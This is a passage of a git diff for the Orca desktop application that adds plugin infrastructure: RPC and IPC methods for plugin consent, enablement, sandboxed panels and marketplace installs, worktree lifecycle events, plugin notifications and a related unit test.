 import { BrowserError } from '../browser/cdp-bridge'
@@ -2347,7 +2347,7 @@ type ResolvedWorktreeInFlight = {
 // events after it — idempotent, no duplicate local pushes.
 export type MobileNotificationDispatchEvent = {
   type: 'notification'
-  source: 'agent-task-complete' | 'terminal-bell' | 'test'
+  source: 'agent-task-complete' | 'terminal-bell' | 'test' | 'plugin'
   title: string
   body: string
   worktreeId?: string
@@ -2355,6 +2355,10 @@ export type MobileNotificationDispatchEvent = {
   notificationSeq?: number
 }
 
+export type RuntimeWorktreeLifecycleEvent =
+  | { kind: 'created'; worktreeId: string; path: string; branch: string }
+  | { kind: 'removed'; worktreeId: string; path: string }
+
 export type MobileNotificationDismissEvent = {
   type: 'dismiss'
   notificationId: string
@@ -2527,6 +2531,7 @@ export class OrcaRuntimeService {
   private ptyController: RuntimePtyController | null = null
   private notifier: RuntimeNotifier | null = null
   private clientEventListeners = new Set<(event: RuntimeClientEvent) => void>()
+  private worktreeLifecycleListeners = new Set<(event: RuntimeWorktreeLifecycleEvent) => void>()
   private forkBackfillStarted = false
   private agentBrowserBridge: AgentBrowserBridge | null = null
   private offscreenBrowserBackend: BrowserBackend | null = null
@@ -3616,6 +3621,28 @@ export class OrcaRuntimeService {
     this.emitClientEvent({ type: 'worktreesChanged', repoId })
   }
 
+  /** Detail-level worktree lifecycle tap (plugin event bus). The coarse
+   *  worktreesChanged client event carries only repoId, which is not enough
+   *  for subscribers that need the affected worktree's identity.
+   *  Removal payloads carry no branch: the removal target resolves before
+   *  the git worktree is torn down and only pins id + path. */
+  onWorktreeLifecycle(listener: (event: RuntimeWorktreeLifecycleEvent) => void): () => void {
+    this.worktreeLifecycleListeners.add(listener)
+    return () => {
+      this.worktreeLifecycleListeners.delete(listener)
+    }
+  }
+
+  private emitWorktreeLifecycle(event: RuntimeWorktreeLifecycleEvent): void {
+    for (const listener of this.worktreeLifecycleListeners) {
+      try {
+        listener(event)
+      } catch (err) {
+        console.error('[runtime] worktree lifecycle listener threw', err)
+      }
+    }
+  }
+
   private notifyReposChanged(): void {
     this.notifier?.reposChanged()
     this.emitClientEvent({ type: 'reposChanged' })
@@ -10021,6 +10048,31 @@ export class OrcaRuntimeService {
     this.dispatchMobileNotification({ type: 'dismiss', notificationId })
   }
 
+  /** Plugin panel action notifications.show. Native on desktop, relayed to
+   *  paired mobile clients either way (mirrors notifications:dispatch). */
+  async dispatchPluginNotification(input: {
+    pluginId: string
+    title: string
+    body?: string
+  }): Promise<{ delivered: boolean }> {
+    // Why: prefix with the plugin id so a plugin cannot spoof an Orca system
+    // notification or impersonate another plugin.
+    const title = `${input.pluginId}: ${input.title}`
+    const body = input.body ?? ''
+    let delivered = false
+    try {
+      if (Notification.isSupported()) {
+        new Notification({ title, body }).show()
+        delivered = true
+      }
+    } catch {
+      // Headless serve has no notification display; the mobile relay below
+      // still runs.
+    }
+    this.dispatchMobileNotification({ type: 'notification', source: 'plugin', title, body })
+    return { delivered }
+  }
+
   // ─── Account Services (mobile RPC bridge) ─────────────────────
 
   setAccountServices(services: RuntimeAccountServices): void {
@@ -13481,6 +13533,41 @@ export class OrcaRuntimeService {
     return leaf?.worktreeId ?? this.getPtyRecordForPaneKey(paneKey)?.worktreeId ?? null
   }
 
+  /** Read-only context of the worktree the user is focused on, for plugin
+   *  panels (workspace.readContext). Prefers the persisted session focus and
+   *  falls back to the last-focused pane's worktree; null when neither
+   *  resolves so panels degrade instead of erroring. */
+  async resolveActiveWorktreeContext(): Promise<{
+    worktreeId: string
+    path: string
+    branch: string
+    displayName: string
+  } | null> {
+    let worktreeId = this.store?.getWorkspaceSession?.()?.activeWorktreeId ?? null
+    if (!worktreeId && this.graphStatus === 'ready') {
+      for (const tab of this.tabs.values()) {
+        if (tab.activeLeafId && tab.worktreeId) {
+          worktreeId = tab.worktreeId
+          break
+        }
+      }
+    }
+    if (!worktreeId) {
+      return null
+    }
+    try {
+      const resolved = await this.resolveWorktreeSelector(`id:${worktreeId}`)
+      return {
+        worktreeId: resolved.id,
+        path: resolved.git.path,
+        branch: resolved.git.branch,
+        displayName: resolved.displayName
+      }
+    } catch {
+      return null
+    }
+  }
+
   resolveTerminalPane(paneKey: string, expectedWorktreeId?: string): RuntimeTerminalResolvePane {
     // Why: the renderer context menu only knows the stable pane key; main owns
     // the runtime terminal handle that agents and CLI commands can address.
@@ -18370,6 +18457,12 @@ export class OrcaRuntimeService {
       const worktree = mergeRuntimeFolderWorkspace(repo, worktreeId, meta)
       this.invalidateResolvedWorktreeCache()
       this.notifyWorktreesChanged(repo.id)
+      this.emitWorktreeLifecycle({
+        kind: 'created',
+        worktreeId: worktree.id,
+        path: worktree.path,
+        branch: worktree.branch
+      })
       const shouldActivate = args.activate === true || args.runHooks === true
       let warning: string | undefined
       let didSpawnStartup = false
@@ -18459,6 +18552,12 @@ export class OrcaRuntimeService {
         ...(effectiveDraftPaste ? { startupDraftPaste: effectiveDraftPaste } : {})
       })
       const recordedLineage = this.recordCreatedWorktreeLineage(result.worktree, lineageResolution)
+      this.emitWorktreeLifecycle({
+        kind: 'created',
+        worktreeId: result.worktree.id,
+        path: result.worktree.path,
+        branch: result.worktree.branch
+      })
       return {
         ...result,
         worktree: {
@@ -19232,6 +19331,12 @@ export class OrcaRuntimeService {
               : {})
           }
         : undefined
+    this.emitWorktreeLifecycle({
+      kind: 'created',
+      worktreeId: worktree.id,
+      path: worktree.path,
+      branch: worktree.branch
+    })
     return {
       worktree: {
         ...worktree,
@@ -21166,7 +21271,13 @@ export class OrcaRuntimeService {
     })()
     this.removeManagedWorktreeInFlight.set(removalTarget.id, { optionsKey, promise: removal })
     try {
-      return await removal
+      const result = await removal
+      this.emitWorktreeLifecycle({
+        kind: 'removed',
+        worktreeId: removalTarget.id,
+        path: removalTarget.path
+      })
+      return result
     } finally {
       if (this.removeManagedWorktreeInFlight.get(removalTarget.id)?.promise === removal) {
         this.removeManagedWorktreeInFlight.delete(removalTarget.id)
diff --git a/src/main/runtime/rpc/methods/index.ts b/src/main/runtime/rpc/methods/index.ts
index 537e7ce97..df9f80800 100644
--- a/src/main/runtime/rpc/methods/index.ts
+++ b/src/main/runtime/rpc/methods/index.ts
@@ -31,6 +31,7 @@ import { SPEECH_METHODS } from './speech'
 import { CLIENT_UI_METHODS } from './client-ui'
 import { CLIENT_EVENT_METHODS } from './client-events'
 import { WORKSPACE_PORT_METHODS } from './workspace-ports'
+import { PLUGIN_METHODS } from './plugins'
 import { SKILL_METHODS } from './skills'
 import { CLIPBOARD_METHODS } from './clipboard'
 import { HOST_CAPABILITY_METHODS } from './host-capabilities'
@@ -74,6 +75,7 @@ export const ALL_RPC_METHODS: readonly RpcAnyMethod[] = [
   ...SSH_METHODS,
   ...SPEECH_METHODS,
   ...WORKSPACE_PORT_METHODS,
+  ...PLUGIN_METHODS,
   ...SKILL_METHODS,
   ...CLIPBOARD_METHODS,
   ...HOST_CAPABILITY_METHODS,
diff --git a/src/main/runtime/rpc/methods/plugins.test.ts b/src/main/runtime/rpc/methods/plugins.test.ts
new file mode 100644
index 000000000..bf67d29f1
--- /dev/null
+++ b/src/main/runtime/rpc/methods/plugins.test.ts
@@ -0,0 +1,74 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { RpcContext, RpcMethod } from '../core'
+import type { PluginService } from '../../../plugins/plugin-service'
+import { PLUGIN_METHODS, setPluginServiceForRpc } from './plugins'
+
+const SESSION_TOKEN = 's'.repeat(43)
+
+function method(name: string): RpcMethod {
+  const found = PLUGIN_METHODS.find((entry) => entry.name === name)
+  if (!found) {
+    throw new Error(`missing ${name}`)
+  }
+  if ('stream' in found) {
+    throw new Error(`${name} is streaming`)
+  }
+  return found
+}
+
+function context(connectionId?: string): RpcContext {
+  return { runtime: {} as RpcContext['runtime'], connectionId, clientId: 'paired-device' }
+}
+
+afterEach(() => setPluginServiceForRpc(null))
+
+describe('plugin panel serve RPC identity', () => {
+  it('leaves the raw panel envelope for session resolution and admission', () => {
+    const schema = method('plugins.panelAction').params!
+
+    expect(
+      schema.safeParse({
+        pluginId: 'orca-samples.other',
+        unexpected: 'x'.repeat(100_000)
+      }).success
+    ).toBe(true)
+  })
+
+  it('binds panel loading and actions to the same runtime connection owner', async () => {
+    const service = {
+      whenReady: vi.fn().mockResolvedValue(undefined),
+      panels: {
+        open: vi.fn().mockResolvedValue({ html: '<p>panel</p>', sessionToken: SESSION_TOKEN }),
+        execute: vi.fn().mockResolvedValue({ ok: true, value: { branch: 'main' } }),
+        bindOwnerSignal: vi.fn(),
+        revokeOwner: vi.fn()
+      }
+    } as unknown as PluginService
+    setPluginServiceForRpc(service)
+    const rpcContext = context('connection-one')
+
+    await expect(
+      method('plugins.readPanelEntry').handler(
+        { pluginKey: 'orca-samples.demo', panelId: 'dashboard' },
+        rpcContext
+      )
+    ).resolves.toEqual({ html: '<p>panel</p>', sessionToken: SESSION_TOKEN })
+    expect(service.panels.open).toHaveBeenCalledWith(
+      'runtime:connection-one',
+      'orca-samples.demo',
+      'dashboard'
+    )
+
+    await expect(
+      method('plugins.panelAction').handler(
+        { sessionToken: SESSION_TOKEN, action: 'workspace.readContext', params: {} },
+        rpcContext
+      )
+    ).resolves.toEqual({ outcome: { ok: true, value: { branch: 'main' } } })
+    expect(service.panels.execute).toHaveBeenCalledWith('runtime:connection-one', {
+      sessionToken: SESSION_TOKEN,
+      action: 'workspace.readContext',
+      params: {}
+    })
+  })
+})
diff --git a/src/main/runtime/rpc/methods/plugins.ts b/src/main/runtime/rpc/methods/plugins.ts
new file mode 100644
index 000000000..f463feff1
--- /dev/null
+++ b/src/main/runtime/rpc/methods/plugins.ts
@@ -0,0 +1,154 @@
+import { z } from 'zod'
+import { defineMethod, type RpcContext, type RpcMethod } from '../core'
+import type { PluginPanelEntry } from '../../../../shared/plugins/plugin-panel-bridge'
+import { listPluginsForClients } from '../../../ipc/plugins'
+import type { PluginListEntry } from '../../../plugins/plugin-list-projection'
+import type { PluginService } from '../../../plugins/plugin-service'
+import {
+  pluginConsentRequestSchema,
+  type PluginConsentRequest
+} from '../../../../shared/plugins/plugin-consent-request'
+import { isQualifiedPluginKey } from '../../../../shared/plugins/plugin-manifest'
+
+/**
+ * Serve/headless parity surface: the same consent, enablement, panel-action,
+ * and command paths the desktop IPC handlers expose, over runtime RPC. Both
+ * routes execute through PluginService's single chokepoint, so a permission
+ * decision can never differ between a local window and a paired client.
+ */
+
+// Why: RpcContext only carries the OrcaRuntimeService, and plugins are a
+// separate composition-root service — inject via module setter the way the
+// desktop entry wires it, instead of widening the shared RPC context type.
+let pluginServiceForRpc: PluginService | null = null
+// Consent/enablement need the settings Store too, so the entry injects bound
+// closures instead of the store itself.
+let pluginConsentForRpc: ((request: PluginConsentRequest) => Promise<void>) | null = null
+let pluginEnablementForRpc: ((pluginKey: string, enabled: boolean) => Promise<void>) | null = null
+
+export function setPluginServiceForRpc(
+  service: PluginService | null,
+  writes?: {
+    applyConsent: (request: PluginConsentRequest) => Promise<void>
+    applyEnablement: (pluginKey: string, enabled: boolean) => Promise<void>
+  }
+): void {
+  pluginServiceForRpc = service
+  pluginConsentForRpc = writes?.applyConsent ?? null
+  pluginEnablementForRpc = writes?.applyEnablement ?? null
+}
+
+function requirePluginService(): PluginService {
+  if (!pluginServiceForRpc) {
+    throw new Error('Plugin service is not available on this runtime')
+  }
+  return pluginServiceForRpc
+}
+
+const PluginSetEnabledParams = z.object({
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
+  enabled: z.boolean()
+})
+
+const PluginReadPanelEntryParams = z.object({
+  pluginKey: z.string().min(1),
+  panelId: z.string().min(1)
+})
+
+const PluginInvokeCommandParams = z.object({
+  pluginKey: z.string().min(1),
+  commandId: z.string().min(1),
+  args: z.unknown().optional()
+})
+
+async function listForRpc(): Promise<PluginListEntry[]> {
+  return listPluginsForClients(requirePluginService())
+}
+
+function rpcPanelOwner(context: RpcContext): string {
+  // Why: the bearer session must not cross paired-client connections even
+  // when two sockets authenticate as the same device.
+  return `runtime:${context.connectionId ?? context.clientId ?? 'local'}`
+}
+
+function bindRpcPanelOwner(service: PluginService, context: RpcContext): string {
+  const ownerKey = rpcPanelOwner(context)
+  service.panels.bindOwnerSignal(ownerKey, context.signal)
+  return ownerKey
+}
+
+export const PLUGIN_METHODS: readonly RpcMethod[] = [
+  defineMethod({
+    name: 'plugins.list',
+    params: null,
+    handler: async () => listForRpc()
+  }),
+  defineMethod({
+    // Why: headless serve has no consent dialog — an explicit consent call is
+    // the only way a pending plugin becomes active on a server.
+    name: 'plugins.consent',
+    params: pluginConsentRequestSchema,
+    handler: async (params) => {
+      const service = requirePluginService()
+      await service.whenReady()
+      if (!pluginConsentForRpc) {
+        throw new Error('Plugin consent is not available on this runtime')
+      }
+      await pluginConsentForRpc(params)
+      return listForRpc()
+    }
+  }),
+  defineMethod({
+    name: 'plugins.setEnabled',
+    params: PluginSetEnabledParams,
+    handler: async (params) => {
+      const service = requirePluginService()
+      await service.whenReady()
+      if (!pluginEnablementForRpc) {
+        throw new Error('Plugin enablement is not available on this runtime')
+      }
+      await pluginEnablementForRpc(params.pluginKey, params.enabled)
+      return listForRpc()
+    }
+  }),
+  defineMethod({
+    // Why: headless serve clients relay panel bridge requests over RPC, so
+    // capability enforcement must live behind this method too, not only in
+    // the desktop IPC handler.
+    name: 'plugins.panelAction',
+    // Why: raw admission must run before strict schema parsing so malformed
+    // and oversized traffic cannot bypass the panel budget.
+    params: z.unknown(),
+    handler: async (params, context) => {
+      const service = requirePluginService()
+      await service.whenReady()
+      return {
+        outcome: await service.panels.execute(bindRpcPanelOwner(service, context), params)
+      }
+    }
+  }),
+  defineMethod({
+    name: 'plugins.readPanelEntry',
+    params: PluginReadPanelEntryParams,
+    handler: async (params, context): Promise<PluginPanelEntry | null> => {
+      const service = requirePluginService()
+      await service.whenReady()
+      const ownerKey = bindRpcPanelOwner(service, context)
+      const entry = await service.panels.open(ownerKey, params.pluginKey, params.panelId)
+      if (context.signal?.aborted) {
+        service.panels.revokeOwner(ownerKey)
+        return null
+      }
+      return entry
+    }
+  }),
+  defineMethod({
+    name: 'plugins.invokeCommand',
+    params: PluginInvokeCommandParams,
+    handler: async (params) => {
+      const service = requirePluginService()
+      await service.whenReady()
+      return service.invokeCommand(params.pluginKey, params.commandId, params.args)
+    }
+  })
+]
diff --git a/src/main/window/attach-main-window-services.ts b/src/main/window/attach-main-window-services.ts
index 0a481b209..5384d11c1 100644
--- a/src/main/window/attach-main-window-services.ts
+++ b/src/main/window/attach-main-window-services.ts
@@ -23,7 +23,7 @@ import { registerSshHandlers } from '../ipc/ssh'
 import { registerRemoteWorkspaceHandlers } from '../ipc/remote-workspace'
 import { browserManager } from '../browser/browser-manager'
 import { hasSystemMediaAccess, requestSystemMediaAccess } from '../browser/browser-media-access'
-import type { OrcaRuntimeService } from '../runtime/orca-runtime'
+import type { OrcaRuntimeService, RuntimeWorktreeLifecycleEvent } from '../runtime/orca-runtime'
 import {
   checkForUpdatesFromMenu,
   downloadUpdate,
@@ -84,11 +84,14 @@ export function attachMainWindowServices(
     isRecoveryReloadInFlight?: (webContentsId: number) => boolean
     onBeforeUpdateQuit?: () => void | Promise<void>
     updateInstallMode?: UpdateInstallMode
+    onWorktreeLifecycle?: (event: RuntimeWorktreeLifecycleEvent) => void
   }
 ): void {
   registerAppReloadHandler(mainWindow, options?.onBeforeRendererReload)
   registerRepoHandlers(mainWindow, store)
-  registerWorktreeHandlers(mainWindow, store, runtime)
+  registerWorktreeHandlers(mainWindow, store, runtime, {
+    onWorktreeLifecycle: options?.onWorktreeLifecycle
+  })
   // Why: repo/settings mutations resync watchers through this attached main-window context.
   setWorktreeBaseDirectoryWatcherSyncContext(store, mainWindow)
   scheduleWorktreeBaseDirectoryWatcherSync(store, mainWindow)
diff --git a/src/main/window/createMainWindow.ts b/src/main/window/createMainWindow.ts
index 387f0d2b5..909ed473e 100644
--- a/src/main/window/createMainWindow.ts
+++ b/src/main/window/createMainWindow.ts
@@ -50,6 +50,7 @@ import { closeDashboardPopout } from './dashboard-popout-window'
 import { installPrivilegedWindowNavigationPolicy } from './privileged-window-navigation'
 import { isMacosTahoeOrNewer } from './macos-tahoe-release'
 import { reflowRendererViewport } from './renderer-viewport-reflow'
+import { registerPluginPanelNavigationGuard } from '../plugins/plugin-panel-navigation-guard'
 
 // Why: show/restore/resume can overlap before the size nudge resets; never capture the temporary width as the next baseline.
 const activeRepaintJiggles = new WeakSet<BrowserWindow>()
@@ -441,6 +442,9 @@ export function createMainWindow(
   })
 
   installPrivilegedWindowNavigationPolicy(mainWindow.webContents)
+  // Why: containment must be listening before any plugin panel frame is created,
+  // so register it with the window's other navigation policy.
+  registerPluginPanelNavigationGuard(mainWindow.webContents)
 
   mainWindow.webContents.on('will-attach-webview', (event, webPreferences, params) => {
     const src = typeof params.src === 'string' ? params.src : ''
diff --git a/src/preload/api-types.ts b/src/preload/api-types.ts
index 2592e08e9..4be8b2bc5 100644
--- a/src/preload/api-types.ts
+++ b/src/preload/api-types.ts
@@ -68,6 +68,15 @@ import type {
   AgentProviderSessionMetadata,
   SleepingAgentLaunchConfig
 } from '../shared/agent-session-resume'
+import type {
+  PluginPanelActionOutcome,
+  PluginPanelEntry
+} from '../shared/plugins/plugin-panel-bridge'
+import type { PluginConsentRequest } from '../shared/plugins/plugin-consent-request'
+import type { PluginLanguagePackRegistration } from '../shared/plugins/plugin-language-pack-artifact'
+import type { PluginChangeEvent } from '../shared/plugins/plugin-change-event'
+import type { PluginManifest } from '../shared/plugins/plugin-manifest'
+import type { PluginMarketplaceGitSource } from '../shared/plugins/plugin-marketplace'
 import type {
   LocalhostWorktreeLabelResult,
   LocalhostWorktreeLabelRoute
@@ -969,6 +978,134 @@ export type AppApi = {
   ) => Promise<WriteTerminalRenderDesyncEvidenceResult>
 }
 
+/** Panel contribution as surfaced by the main-process plugin service. */
+export type PluginHostPanel = {
+  id: string
+  title: string
+  /** Lucide icon name declared in the plugin manifest. */
+  icon?: string
+  tabKey: `plugin:${string}`
+}
+
+/** `pending` = awaiting (re-)consent; `idle` = enabled, worker not running
+ *  (lazy); `restarting` = waiting for supervised backoff; `errored` = crashed past the restart budget or failed to start;
+ *  `invalid` = unreadable manifest. */
+export type PluginHostStatus =
+  | 'running'
+  | 'restarting'
+  | 'idle'
+  | 'pending'
+  | 'disabled'
+  | 'errored'
+  | 'invalid'
+
+/** Wire shape of plugins:list — must stay assignable from the main-process
+ *  projection in src/main/plugins/plugin-list-projection.ts. */
+export type PluginHostListEntry = {
+  pluginKey: string
+  consentFingerprint: string | null
+  name: string
+  version: string
+  publisher: string
+  description?: string
+  status: PluginHostStatus
+  needsReconsent: boolean
+  error?: string
+  isDev: boolean
+  official: boolean
+  bundled: boolean
+  capabilities: { kind: string; description: string }[]
+  panels: PluginHostPanel[]
+  commands: {
+    id: string
+    title: string
+    context: 'global' | 'worktree'
+    handler: { type: 'built-in'; action: string } | { type: 'worker' }
+    keybindings: { key: string; when: 'global' | 'worktree' }[]
+  }[]
+  hasWorker: boolean
+  vmRecipes?: {
+    id: string
+    name: string
+    description?: string
+    commands: {
+      phase: 'create' | 'suspend' | 'resume' | 'destroy'
+      command: string
+    }[]
+  }[]
+  restarts: number
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+  source?: {
+    kind: 'local-path' | 'git' | 'marketplace' | 'bundled'
+    reference: string
+    resolvedCommit: string | null
+    contentHash: string
+    marketplace?: { reference: string; resolvedCommit: string }
+  }
+}
+
+export type PluginHostLogLine = { ts: number; level: 'info' | 'warn' | 'error'; line: string }
+
+export type PluginHostInstallSource =
+  | { kind: 'local-path'; path: string }
+  | { kind: 'git'; url: string; ref: string }
+
+export type PluginHostInstallResult =
+  | {
+      ok: true
+      pluginKey: string
+      version: string
+      contentHash: string
+      consentFingerprint: string
+      resolvedCommit: string | null
+    }
+  | { ok: false; error: string }
+
+export type PluginMarketplaceHostSourceState = {
+  id: string
+  source: PluginMarketplaceGitSource
+  addedAt: number
+  marketplace: {
+    name: string
+    owner: string
+    resolvedCommit: string
+    fetchedAt: number
+  } | null
+  stale: boolean
+  official: boolean
+  error?: string
+}
+
+export type PluginMarketplaceHostListing = {
+  marketplaceSourceId: string
+  marketplaceName: string
+  marketplaceOwner: string
+  marketplaceCommit: string
+  pluginKey: string
+  source: PluginMarketplaceGitSource
+  description?: string
+  categories: string[]
+  official: boolean
+  bundled: boolean
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+}
+
+export type PluginMarketplaceHostInstallPreview = {
+  marketplaceSourceId: string
+  marketplaceName: string
+  marketplaceOwner: string
+  marketplaceCommit: string
+  pluginKey: string
+  source: PluginMarketplaceGitSource
+  resolvedCommit: string
+  contentHash: string
+  consentFingerprint: string
+  manifest: PluginManifest
+  official: boolean
+  bundled: boolean
+  blockedByKillList?: { reason: string; advisoryUrl?: string }
+}
+
 export type PreloadApi = {
   app: AppApi
   orcaProfiles: {
@@ -3254,6 +3391,62 @@ export type PreloadApi = {
   gitBash: {
     isAvailable: () => Promise<boolean>
   }
+  plugins: {
+    list: () => Promise<PluginHostListEntry[]>
+    listLanguagePacks: () => Promise<PluginLanguagePackRegistration[]>
+    /** Records the consent-dialog answer; approval is keyed to the plugin's
+     *  current capability and trusted-worker fingerprint. */
+    consent: (args: PluginConsentRequest) => Promise<PluginHostListEntry[]>
+    setEnabled: (args: { pluginKey: string; enabled: boolean }) => Promise<PluginHostListEntry[]>
+    /** Returns the panel's CSP-wrapped HTML, or null when the plugin or
+     *  panel is missing/disabled. Rendered only inside a sandboxed iframe. */
+    readPanelEntry: (args: {
+      pluginKey: string
+      panelId: string
+    }) => Promise<PluginPanelEntry | null>
+    invokeCommand: (args: {
+      pluginKey: string
+      commandId: string
+      args?: unknown
+    }) => Promise<unknown>
+    /** Relays a sandboxed panel's bridge request to main, which enforces the
+     *  plugin's consented capabilities before executing. */
+    panelAction: (args: {
+      sessionToken: string
+      action: string
+      params?: unknown
+    }) => Promise<PluginPanelActionOutcome>
+    install: (source: PluginHostInstallSource) => Promise<PluginHostInstallResult>
+    listMarketplaces: () => Promise<PluginMarketplaceHostSourceState[]>
+    addMarketplace: (
+      source: PluginMarketplaceGitSource
+    ) => Promise<PluginMarketplaceHostSourceState>
+    removeMarketplace: (args: { sourceId: string }) => Promise<PluginMarketplaceHostSourceState[]>
+    refreshMarketplaces: (args?: {
+      sourceId?: string
+    }) => Promise<PluginMarketplaceHostSourceState[]>
+    listMarketplacePlugins: () => Promise<PluginMarketplaceHostListing[]>
+    previewMarketplacePlugin: (args: {
+      marketplaceSourceId: string
+      pluginKey: string
+    }) => Promise<PluginMarketplaceHostInstallPreview>
+    installMarketplacePlugin: (
+      preview: Pick<
+        PluginMarketplaceHostInstallPreview,
+        'marketplaceSourceId' | 'marketplaceCommit' | 'pluginKey' | 'resolvedCommit'
+      >
+    ) => Promise<PluginHostInstallResult>
+    previewMarketplaceUpdate: (args: {
+      pluginKey: string
+    }) => Promise<PluginMarketplaceHostInstallPreview>
+    rollbackMarketplacePlugin: (args: { pluginKey: string }) => Promise<PluginHostInstallResult>
+    remove: (args: { pluginKey: string }) => Promise<PluginHostListEntry[]>
+    getLogs: (args: { pluginKey: string }) => Promise<PluginHostLogLine[]>
+    /** Re-discovers after settings edits (feature flag, dev paths). */
+    refresh: () => Promise<PluginHostListEntry[]>
+    /** Fires whenever installed plugins, worker states, panels, or content packs change. */
+    onChanged: (callback: (event: PluginChangeEvent) => void) => () => void
+  }
   agentStatus: {
     /** Listen for agent status updates forwarded from native hook receivers. */
     onSet: (callback: (data: AgentStatusIpcPayload) => void) => () => void
diff --git a/src/preload/index.ts b/src/preload/index.ts
index 21014fc1a..342a0e1bd 100644
--- a/src/preload/index.ts
+++ b/src/preload/index.ts
@@ -22,6 +22,12 @@ import type {
 import type { MobileRelayStatus } from '../shared/mobile-relay-status'
 import type { MobilePairingConnectionMode } from '../shared/mobile-pairing-connection-mode'
 import type { SshMutationExpectation } from '../shared/ssh-types'
+import type {
+  PluginPanelActionOutcome,
+  PluginPanelEntry
+} from '../shared/plugins/plugin-panel-bridge'
+import type { PluginConsentRequest } from '../shared/plugins/plugin-consent-request'
+import type { PluginChangeEvent } from '../shared/plugins/plugin-change-event'
 import type {
   BaseRefSearchResult,
   BaseRefDefaultResult,
@@ -241,7 +247,13 @@ import type {
 } from '../shared/crash-reporting'
 import type { RendererHeapStatistics } from '../shared/renderer-heap-statistics'
 import { readRendererHeapStatistics } from './renderer-heap-statistics-reader'
-import type { PreloadApi } from './api-types'
+import type {
+  PluginHostInstallResult,
+  PluginHostInstallSource,
+  PluginHostListEntry,
+  PluginHostLogLine,
+  PreloadApi
+} from './api-types'
 import {
   createUpdaterQuitAbortRelay,
   prepareRendererForAppRestart
@@ -521,6 +533,57 @@ const api = {
     isAvailable: (): Promise<boolean> => ipcRenderer.invoke('gitBash:isAvailable')
   },
 
+  plugins: {
+    list: (): Promise<PluginHostListEntry[]> => ipcRenderer.invoke('plugins:list'),
+    listLanguagePacks: () => ipcRenderer.invoke('plugins:listLanguagePacks'),
+    consent: (args: PluginConsentRequest): Promise<PluginHostListEntry[]> =>
+      ipcRenderer.invoke('plugins:consent', args),
+    setEnabled: (args: { pluginKey: string; enabled: boolean }): Promise<PluginHostListEntry[]> =>
+      ipcRenderer.invoke('plugins:setEnabled', args),
+    readPanelEntry: (args: {
+      pluginKey: string
+      panelId: string
+    }): Promise<PluginPanelEntry | null> => ipcRenderer.invoke('plugins:readPanelEntry', args),
+    invokeCommand: (args: {
+      pluginKey: string
+      commandId: string
+      args?: unknown
+    }): Promise<unknown> => ipcRenderer.invoke('plugins:invokeCommand', args),
+    panelAction: (args: {
+      sessionToken: string
+      action: string
+      params?: unknown
+    }): Promise<PluginPanelActionOutcome> => ipcRenderer.invoke('plugins:panelAction', args),
+    install: (source: PluginHostInstallSource): Promise<PluginHostInstallResult> =>
+      ipcRenderer.invoke('plugins:install', source),
+    listMarketplaces: () => ipcRenderer.invoke('plugins:listMarketplaces'),
+    addMarketplace: (source) => ipcRenderer.invoke('plugins:addMarketplace', source),
+    removeMarketplace: (args) => ipcRenderer.invoke('plugins:removeMarketplace', args),
+    refreshMarketplaces: (args = {}) => ipcRenderer.invoke('plugins:refreshMarketplaces', args),
+    listMarketplacePlugins: () => ipcRenderer.invoke('plugins:listMarketplacePlugins'),
+    previewMarketplacePlugin: (args) =>
+      ipcRenderer.invoke('plugins:previewMarketplacePlugin', args),
+    installMarketplacePlugin: (preview) =>
+      ipcRenderer.invoke('plugins:installMarketplacePlugin', preview),
+    previewMarketplaceUpdate: (args) =>
+      ipcRenderer.invoke('plugins:previewMarketplaceUpdate', args),
+    rollbackMarketplacePlugin: (args) =>
+      ipcRenderer.invoke('plugins:rollbackMarketplacePlugin', args),
+    remove: (args: { pluginKey: string }): Promise<PluginHostListEntry[]> =>
+      ipcRenderer.invoke('plugins:remove', args),
+    getLogs: (args: { pluginKey: string }): Promise<PluginHostLogLine[]> =>
+      ipcRenderer.invoke('plugins:getLogs', args),
+    refresh: (): Promise<PluginHostListEntry[]> => ipcRenderer.invoke('plugins:refresh'),
+    onChanged: (callback): (() => void) => {
+      const listener = (_event: Electron.IpcRendererEvent, change: PluginChangeEvent): void =>
+        callback(change)
+      ipcRenderer.on('plugins:changed', listener)
+      return () => {
+        ipcRenderer.removeListener('plugins:changed', listener)
+      }
+    }
+  } satisfies PreloadApi['plugins'],
+
   repos: {
     list: () => ipcRenderer.invoke('repos:list'),
 
diff --git a/src/relay/plugin-host-call-handler.ts b/src/relay/plugin-host-call-handler.ts
new file mode 100644
index 000000000..c3f73c53c
--- /dev/null
+++ b/src/relay/plugin-host-call-handler.ts
@@ -0,0 +1,69 @@
+import type { MethodHandler, RequestContext } from './dispatcher'
+import {
+  admitPluginPanelCall,
+  createPluginPanelCallAdmission,
+  type PluginPanelCallAdmission
+} from '../shared/plugins/plugin-panel-call-admission'
+import {
+  executePluginHostCallRequest,
+  isPluginHostCallRequest,
+  type ResolvePluginHostCallPolicy
+} from '../main/plugins/plugin-host-call-adapter'
+
+export const RELAY_PLUGIN_PANEL_HOST_CALL_METHOD = 'plugins.hostCall.panel'
+export const RELAY_PLUGIN_WORKER_HOST_CALL_METHOD = 'plugins.hostCall.worker'
+
+export type RelayPluginHostCallDispatcher = {
+  onRequest(method: string, handler: MethodHandler): void
+}
+
+export type ResolveRelayPluginHostCallIdentity = (
+  context: RequestContext
+) => string | null | Promise<string | null>
+
+/** Relay provisioning is deliberately out of scope here. Its connection-
+ *  keyed resolver owns plugin identity, consent, services, and audit authority. */
+export function registerRelayPluginHostCallHandlers(
+  dispatcher: RelayPluginHostCallDispatcher,
+  resolveIdentity: ResolveRelayPluginHostCallIdentity,
+  resolvePolicy: ResolvePluginHostCallPolicy,
+  options: { panelAdmission?: PluginPanelCallAdmission } = {}
+): void {
+  const panelAdmission = options.panelAdmission ?? createPluginPanelCallAdmission()
+  const register = (registeredMethod: string, viaPanel: boolean): void => {
+    dispatcher.onRequest(registeredMethod, async (params, context) => {
+      let pluginKey: string | null
+      try {
+        pluginKey = await resolveIdentity(context)
+      } catch {
+        pluginKey = null
+      }
+      if (!pluginKey) {
+        return {
+          ok: false,
+          code: 'unavailable',
+          error: 'plugin host authority is not available'
+        }
+      }
+      if (viaPanel) {
+        const admissionRefusal = admitPluginPanelCall(panelAdmission, pluginKey, params)
+        if (admissionRefusal) {
+          return admissionRefusal
+        }
+      }
+      if (!isPluginHostCallRequest(params)) {
+        return { ok: false, code: 'invalid_request', error: 'malformed plugin host call request' }
+      }
+      return executePluginHostCallRequest({
+        pluginKey,
